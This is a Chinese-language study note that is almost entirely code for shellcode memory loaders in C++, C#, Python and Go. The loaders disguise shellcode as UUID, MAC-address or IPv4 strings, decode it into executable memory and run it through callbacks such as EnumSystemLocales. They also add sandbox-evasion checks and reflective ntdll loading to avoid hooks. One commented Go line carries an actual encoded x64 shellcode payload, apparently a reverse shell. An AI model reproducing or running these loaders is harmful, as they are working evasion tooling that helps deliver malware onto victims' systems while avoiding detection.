【笔记】ShellCode内存加载

前言

ShellCode内存加载学习笔记

ShellCode转换为UUID

C++

Windows x86

生成UUID
generate.py
1
2
3
4
5
6
7
8
9
import uuid
import binascii

buf = b"\x00\x00\x00\x00"

hex = binascii.hexlify(buf).decode()
hex += '0' * (32 - (len(hex) % 32))
for i in range(0,len(hex),32):
print("\"{}\",".format(uuid.UUID(bytes_le=binascii.unhexlify(hex[i:i+32]))))
1
python3 generate.py
加载器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <Windows.h>
#include <Rpc.h>
#include <iostream>

#pragma comment(lib, "Rpcrt4.lib")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

const char* uuids[] =
{
"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
};

int main()
{
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* ha = HeapAlloc(hc, 0, 0x100000);
DWORD_PTR hptr = (DWORD_PTR)ha;
int elems = sizeof(uuids) / sizeof(uuids[0]);

for (int i = 0; i < elems; i++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);
if (status != RPC_S_OK) {
CloseHandle(ha);
return -1;
}
hptr += 16;
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
CloseHandle(ha);
return 0;
}

C#

Windows x64

生成UUID
generate.py
1
2
3
4
5
6
7
8
9
import uuid
import binascii

buf = b"\x00\x00\x00\x00"

hex = binascii.hexlify(buf).decode()
hex += '0' * (32 - (len(hex) % 32))
for i in range(0,len(hex),32):
print("\"{}\",".format(uuid.UUID(bytes_le=binascii.unhexlify(hex[i:i+32]))))
1
python3 generate.py
加载器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
using DInvoke;

namespace UuidShellcode
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr HeapCreate(uint flOptions, UIntPtr dwInitialSize,UIntPtr dwMaximumSize);

[DllImport("kernel32.dll", SetLastError = false)]static extern IntPtr HeapAlloc(IntPtr hHeap, uint dwFlags, uint dwBytes);
static void Main(string[] args)
{
var HeapCreateHandle = HeapCreate((uint)0x00040000, UIntPtr.Zero, UIntPtr.Zero);
var heapAddr = HeapAlloc(HeapCreateHandle, (uint)0, (uint)0x100000);

string[] uuids =
{
"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
};

IntPtr pkernel32 = DInvoke.DynamicInvoke.Generic.GetPebLdrModuleEntry("kernel32.dll");
IntPtr prpcrt4 = DInvoke.DynamicInvoke.Generic.GetPebLdrModuleEntry("rpcrt4.dll");
IntPtr pEnumSystemLocalesA = DInvoke.DynamicInvoke.Generic.GetExportAddress(pkernel32, "EnumSystemLocalesA");
IntPtr pUuidFromStringA = DInvoke.DynamicInvoke.Generic.GetExportAddress(prpcrt4, "UuidFromStringA");

IntPtr newHeapAddr = IntPtr.Zero;
for (int i = 0; i < uuids.Length; i++)
{
newHeapAddr = IntPtr.Add(HeapCreateHandle, 16 * i);
object[] uuidFromStringAParam = { uuids[i], newHeapAddr };
var status = (IntPtr)DInvoke.DynamicInvoke.Generic.DynamicFunctionInvoke(pUuidFromStringA, typeof(DELEGATE.UuidFromStringA), ref uuidFromStringAParam);
}

object[] enumSystemLocalesAParam = { HeapCreateHandle, 0 };
var result = DInvoke.DynamicInvoke.Generic.DynamicFunctionInvoke(pEnumSystemLocalesA, typeof(DELEGATE.EnumSystemLocalesA), ref enumSystemLocalesAParam);
}
}
public class DELEGATE
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr UuidFromStringA(string StringUuid, IntPtr heapPointer);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool EnumSystemLocalesA(IntPtr lpLocaleEnumProc, int dwFlags);
}
}

Python2

Windows x86

生成UUID
generate.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import uuid

buf = b"\x00\x00\x00\x00"

def convertToUUID(shellcode):
if len(shellcode) % 16 != 0:
print("[-] Shellcode's length not multiplies of 16 bytes")
print("[-] Adding nullbytes at the end of shellcode, this might break your shellcode.")
print("\n[*] Modified shellcode length: ", len(shellcode) + (16 - (len(shellcode) % 16)))

addNullbyte = b"\x00" * (16 - (len(shellcode) % 16))
shellcode += addNullbyte

uuids = []
for i in range(0, len(shellcode), 16):
uuidString = str(uuid.UUID(bytes_le=shellcode[i:i + 16]))
uuids.append(uuidString.replace("'", "\""))
return uuids

u = convertToUUID(buf)
print(str(u).replace("'", "\""))
1
python3 generate.py
加载器
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
import ctypes

shellcode=[
"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
]
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode)*16, 0x1000, 0x40)
rwxpage1 = rwxpage
for i in shellcode:
io = ctypes.windll.Rpcrt4.UuidFromStringA(i,rwxpage1)
rwxpage1+=16
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
运行加载器
1
python2 main.py

Go语言

Windows x64

生成UUID
generate.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import uuid

buf = b"\x00\x00\x00\x00"

def convertToUUID(shellcode):
if len(shellcode) % 16 != 0:
print("[-] Shellcode's length not multiplies of 16 bytes")
print("[-] Adding nullbytes at the end of shellcode, this might break your shellcode.")
print("\n[*] Modified shellcode length: ", len(shellcode) + (16 - (len(shellcode) % 16)))

addNullbyte = b"\x00" * (16 - (len(shellcode) % 16))
shellcode += addNullbyte

uuids = []
for i in range(0, len(shellcode), 16):
uuidString = str(uuid.UUID(bytes_le=shellcode[i:i + 16]))
uuids.append(uuidString.replace("'", "\""))
return uuids

u = convertToUUID(buf)
print(str(u).replace("'", "\""))
1
python3 generate.py
加载器
  • 在虚拟机中自动终止程序
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
package main

import (
"fmt"
"log"
"os"
"runtime"
"syscall"
"time"
"unsafe"

"golang.org/x/sys/windows"
)

const (
MEM_COMMIT = 0x1000
HEAP_CREATE_ENABLE_EXECUTE = 0x00040000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。
)

var (
ntdll = windows.NewLazyDLL("ntdll.dll")
kernel32 = windows.NewLazyDLL("kernel32.dll")
ZwAllocateVirtualMemory = ntdll.NewProc("ZwAllocateVirtualMemory")
rpcrt4 = syscall.MustLoadDLL("rpcrt4.dll")
UuidFromStringA = rpcrt4.MustFindProc("UuidFromStringA")
HeapCreate = kernel32.NewProc("HeapCreate")
HeapAlloc = kernel32.NewProc("HeapAlloc")
EnumSystemLocalesW = kernel32.NewProc("EnumSystemLocalesW")
// uuids []string = []string{"e48148fc-fff0-ffff-e8cc-000000415141", "31485250-65d2-8b48-5260-488b5218488b", "56512052-8b48-5072-4d31-c9480fb74a4a", "acc03148-613c-027c-2c20-41c1c90d4101", "52ede2c1-8b48-2052-8b42-3c41514801d0", "18788166-020b-850f-7200-00008b808800", "85480000-74c0-4867-01d0-508b4818448b", "01492040-e3d0-4d56-31c9-48ffc9418b34", "d6014888-3148-acc0-41c1-c90d4101c138", "4cf175e0-4c03-0824-4539-d175d858448b", "01492440-66d0-8b41-0c48-448b401c4901", "048b41d0-4888-d001-4158-41585e595a41", "41594158-485a-ec83-2041-52ffe0584159", "128b485a-4be9-ffff-ff5d-49be7773325f", "00003233-5641-8949-e648-81eca0010000", "48e58949-c031-5050-49c7-c40200386c41", "e4894954-894c-41f1-ba4c-772607ffd54c", "0168ea89-0001-5900-41ba-29806b00ffd5", "5059026a-4d50-c931-4d31-c048ffc04889", "eaba41c2-df0f-ffe0-d548-89c76a104158", "48e2894c-f989-ba41-c2db-3767ffd54831", "f98948d2-ba41-e9b7-38ff-ffd54d31c048", "8948d231-41f9-74ba-ec3b-e1ffd54889f9", "41c78948-75ba-4d6e-61ff-d54881c4b002", "83480000-10ec-8948-e24d-31c96a044158", "41f98948-02ba-c8d9-5fff-d54883c4205e", "406af689-5941-0068-1000-0041584889f2", "41c93148-58ba-53a4-e5ff-d54889c34989", "c9314dc7-8949-48f0-89da-4889f941ba02", "ff5fc8d9-48d5-c301-4829-c64885f675e1", "58e7ff41-006a-4959-c7c2-f0b5a256ffd5"}
uuids []string = []string{
"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
}
)

func strPtr(s string) uintptr {
return uintptr(unsafe.Pointer(&s))
}

func numverofCPU() (int, error) {
num_of_cpu := runtime.NumCPU()
if num_of_cpu < 4 {
return 0, nil
} else {
return 1, nil
}
}

func timeSleep() (int, error) {
startTime := time.Now()
time.Sleep(10 * time.Second)
endTime := time.Now()
sleepTime := endTime.Sub(startTime)
if sleepTime >= time.Duration(10*time.Second) {
return 1, nil
} else {
return 0, nil
}
}

func physicalMemory() (int, error) {
var mod = syscall.NewLazyDLL("kernel32.dll")
var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
var mem uint64
proc.Call(uintptr(unsafe.Pointer(&mem)))
mem = mem / 1048576
if mem < 4 {
return 0, nil
}
return 1, nil
}

func main() {
num, _ := numverofCPU()
mem, _ := physicalMemory()
if num == 0 || mem == 0 {
fmt.Printf("Hello Crispr")
os.Exit(1)
}

var err error

if err != nil {
log.Fatal(err)
}

if err != nil {
log.Fatal(err)
}

addr, _, err := HeapCreate.Call(uintptr(HEAP_CREATE_ENABLE_EXECUTE), 0, 0)
if addr == 0 || err.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("there was an error calling the HeapCreate function:\r\n%s", err))
}

ZwAllocateVirtualMemory.Call(addr, 0, 0, 0x100000, MEM_COMMIT, PAGE_EXECUTE_READWRITE)

addrPtr := addr
for _, uuid := range uuids {
u := append([]byte(uuid), 0)
rpcStatus, _, err := UuidFromStringA.Call(uintptr(unsafe.Pointer(&u[0])), addrPtr)
if rpcStatus != 0 {
log.Fatal(fmt.Sprintf("There was an error calling UuidFromStringA:\r\n%s", err))
}
addrPtr += 16
}
EnumSystemLocalesW.Call(addr, 0)
// syscall.Syscall(addr, 0, 0, 0, 0)
}

ShellCode转换为MAC地址

Python2

Windows x86

生成MAC地址
generate.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import ctypes

shellcode = b'\x00\x00\x00\x00'

mac = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode)/6*17, 0x3000, 0x40)

for i in range(len(shellcode)/6):
bytes_shellcode = shellcode[i*6:6+i*6]
ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_shellcode, mac+i*17)

a = ctypes.string_at(mac, len(shellcode)*3-1)

l = []
for i in range(len(shellcode)/6):
d = ctypes.string_at(mac+i*17, 17)
l.append(d)

mac_shellcode = str(l).replace("'", "\"").replace(" ", "").replace("\r\n","")
print(mac_shellcode)
1
python2 generate.py
加载器
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import ctypes

list=[
'00-00-00-00-00-00',
'00-00-00-00-00-00',
]

ptr = ctypes.windll.kernel32.VirtualAlloc(0,len(list)*6,0x3000,0x04)
rwxpage = ptr
for i in range(len(list)):
ctypes.windll.Ntdll.RtlEthernetStringToAddressA(list[i], list[i], rwxpage)
rwxpage += 6

ctypes.windll.kernel32.VirtualProtect(ptr, len(list)*6, 0x40, ctypes.byref(ctypes.c_long(1)))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
运行加载器
1
python2 main.py

Go语言

Windows x86

生成MAC地址
generate.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import ctypes

shellcode = b'\x00\x00\x00\x00'

mac = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode)/6*17, 0x3000, 0x40)

for i in range(len(shellcode)/6):
bytes_shellcode = shellcode[i*6:6+i*6]
ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_shellcode, mac+i*17)

a = ctypes.string_at(mac, len(shellcode)*3-1)

l = []
for i in range(len(shellcode)/6):
d = ctypes.string_at(mac+i*17, 17)
l.append(d)

mac_shellcode = str(l).replace("'", "\"").replace(" ", "").replace("\r\n","")
print(mac_shellcode)
1
python2 generate.py
加载器
  • 在虚拟机中自动终止程序
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
package main

import (
"fmt"
"io/ioutil"
"log"
"os"
"runtime"
"syscall"
"time"
"unsafe"

"github.com/Binject/universal"
"golang.org/x/sys/windows"
)

var (
kernel32 = windows.NewLazySystemDLL("kernel32")
Activeds = windows.NewLazySystemDLL("Activeds.dll")
HeapCreate = kernel32.NewProc("HeapCreate")
HeapAlloc = kernel32.NewProc("HeapAlloc")
AllocADsMem = Activeds.NewProc("AllocADsMem")
VirtualProtectEx = kernel32.NewProc("VirtualProtectEx")
EnumSystemLocalesW = kernel32.NewProc("EnumSystemLocalesW")
)

// 配置堆属性
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。
HEAP_CREATE_ENABLE_EXECUTE = 0x00040000
)

var shell_mac []string = []string{
"00-00-00-00-00-00",
"00-00-00-00-00-00",
}

func numverofCPU() (int, error) {
num_of_cpu := runtime.NumCPU()
if num_of_cpu < 4 {
return 0, nil
} else {
return 1, nil
}
}

func timeSleep() (int, error) {
startTime := time.Now()
time.Sleep(10 * time.Second)
endTime := time.Now()
sleepTime := endTime.Sub(startTime)
if sleepTime >= time.Duration(10*time.Second) {
return 1, nil
} else {
return 0, nil
}
}

func physicalMemory() (int, error) {
var mod = syscall.NewLazyDLL("kernel32.dll")
var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
var mem uint64
proc.Call(uintptr(unsafe.Pointer(&mem)))
mem = mem / 1048576
if mem < 4 {
return 0, nil
}
return 1, nil
}

func main() {
// 自定义睡眠时间
// timeSleep()
var ntdll_image []byte
var err error
num, _ := numverofCPU()
mem, _ := physicalMemory()
if num == 0 || mem == 0 {
fmt.Printf("Hello Crispr")
os.Exit(1)
}
ntdll_image, err = ioutil.ReadFile("C:\\Windows\\System32\\ntdll.dll")
/*
heapAddr, _, err := HeapCreate.Call(uintptr(HEAP_CREATE_ENABLE_EXECUTE), 0, 0)
if heapAddr == 0 {
log.Fatal(fmt.Sprintf("there was an error calling the HeapCreate function:\r\n%s", err))
}
*/
ntdll_loader, err := universal.NewLoader()

if err != nil {
log.Fatal(err)
}
ntdll_library, err := ntdll_loader.LoadLibrary("main", &ntdll_image)

if err != nil {
log.Fatal(fmt.Sprintf("there was an error calling the LoadLibrary function:\r\n%s", err))
}
/*
addr, _, err := HeapAlloc.Call(heapAddr, 0, uintptr(len(shell_mac)*6))
*/
addr, _, err := AllocADsMem.Call(uintptr(len(shell_mac) * 6))
if addr == 0 || err.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("there was an error calling the HeapAlloc function:\r\n%s", err))
}
addrptr := addr
for _, mac := range shell_mac {
u := append([]byte(mac), 0)
_, err = ntdll_library.Call("RtlEthernetStringToAddressA", uintptr(unsafe.Pointer(&u[0])), uintptr(unsafe.Pointer(&u[0])), addrptr)
if err != nil && err.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("there was an error calling the HeapAlloc function:\r\n%s", err))
}
addrptr += 6
}
oldProtect := windows.PAGE_READWRITE
VirtualProtectEx.Call(uintptr(windows.CurrentProcess()), addr, uintptr(len(shell_mac)*6), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
EnumSystemLocalesW.Call(addr, 0)
}

ShellCode转换为IPv4地址

Go语言

Windows x64

生成IPv4地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import ctypes

shellcode = b'\x00\x00\x00\x00'
ipv4 = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode)/4*15, 0x3000, 0x40)

for i in range(len(shellcode)/4):
bytes_shellcode = shellcode[i*4:i*4+4]
ctypes.windll.Ntdll.RtlIpv4AddressToStringA(bytes_shellcode, ipv4+i*15)

a = ctypes.string_at(ipv4, len(shellcode)*4-1)

l = []
for i in range(len(shellcode)/4):
d = ctypes.string_at(ipv4+i*15, 15)
l.append(d)

ipv4_shellcode = str(l).replace("'", "\"").replace(" ", "").replace("\r\n","")
print(ipv4_shellcode)
1
python3 generate.py
加载器
  • 在虚拟机中自动终止程序
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
package main

import (
"fmt"
"io/ioutil"
"log"
"os"
"runtime"
"syscall"
"time"
"unsafe"

"github.com/Binject/universal"
"golang.org/x/sys/windows"
)

var (
kernel32 = windows.NewLazySystemDLL("kernel32")
Activeds = windows.NewLazySystemDLL("Activeds.dll")
HeapCreate = kernel32.NewProc("HeapCreate")
HeapAlloc = kernel32.NewProc("HeapAlloc")
AllocADsMem = Activeds.NewProc("AllocADsMem")
VirtualProtectEx = kernel32.NewProc("VirtualProtectEx")
EnumSystemLocalesW = kernel32.NewProc("EnumSystemLocalesW")
)

// 配置堆属性
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。
HEAP_CREATE_ENABLE_EXECUTE = 0x00040000
)

var shell_ipv4 []string = []string{"0.0.0.0\x00"}

func timeSleep() (int, error) {
startTime := time.Now()
time.Sleep(10 * time.Second)
endTime := time.Now()
sleepTime := endTime.Sub(startTime)
if sleepTime >= time.Duration(10*time.Second) {
return 1, nil
} else {
return 0, nil
}
}

func numverofCPU() (int, error) {
num_of_cpu := runtime.NumCPU()
if num_of_cpu < 4 {
return 0, nil
} else {
return 1, nil
}
}

func physicalMemory() (int, error) {
var mod = syscall.NewLazyDLL("kernel32.dll")
var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
var mem uint64
proc.Call(uintptr(unsafe.Pointer(&mem)))
mem = mem / 1048576
if mem < 4 {
return 0, nil
}
return 1, nil
}

func main() {
// 自定义睡眠时间
// timeSleep()
var ntdll_image []byte
var err error
num, _ := numverofCPU()
mem, _ := physicalMemory()
if num == 0 || mem == 0 {
fmt.Printf("Hello Crispr")
os.Exit(1)
}
ntdll_image, err = ioutil.ReadFile("C:\\Windows\\System32\\ntdll.dll")
/*
heapAddr, _, err := HeapCreate.Call(uintptr(HEAP_CREATE_ENABLE_EXECUTE), 0, 0)
if heapAddr == 0 {
log.Fatal(fmt.Sprintf("there was an error calling the HeapCreate function:\r\n%s", err))
}
*/
ntdll_loader, err := universal.NewLoader()

if err != nil {
log.Fatal(err)
}
ntdll_library, err := ntdll_loader.LoadLibrary("main", &ntdll_image)

if err != nil {
log.Fatal(fmt.Sprintf("there was an error calling the LoadLibrary function:\r\n%s", err))
}
/*
addr, _, err := HeapAlloc.Call(heapAddr, 0, uintptr(len(shell_mac)*6))
*/
addr, _, err := AllocADsMem.Call(uintptr(len(shell_ipv4) * 4))
if addr == 0 || err.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("there was an error calling the HeapAlloc function:\r\n%s", err))
}
addrptr := addr
for _, ipv4 := range shell_ipv4 {
u := append([]byte(ipv4), 0)
_, err = ntdll_library.Call("RtlIpv4StringToAddressA", uintptr(unsafe.Pointer(&u[0])), uintptr(0), uintptr(unsafe.Pointer(&u[0])), addrptr)
if err != nil && err.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("there was an error calling the HeapAlloc function:\r\n%s", err))
}
addrptr += 4
}
oldProtect := windows.PAGE_READWRITE
VirtualProtectEx.Call(uintptr(windows.CurrentProcess()), addr, uintptr(len(shell_ipv4)*4), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
EnumSystemLocalesW.Call(addr, 0)
}

完成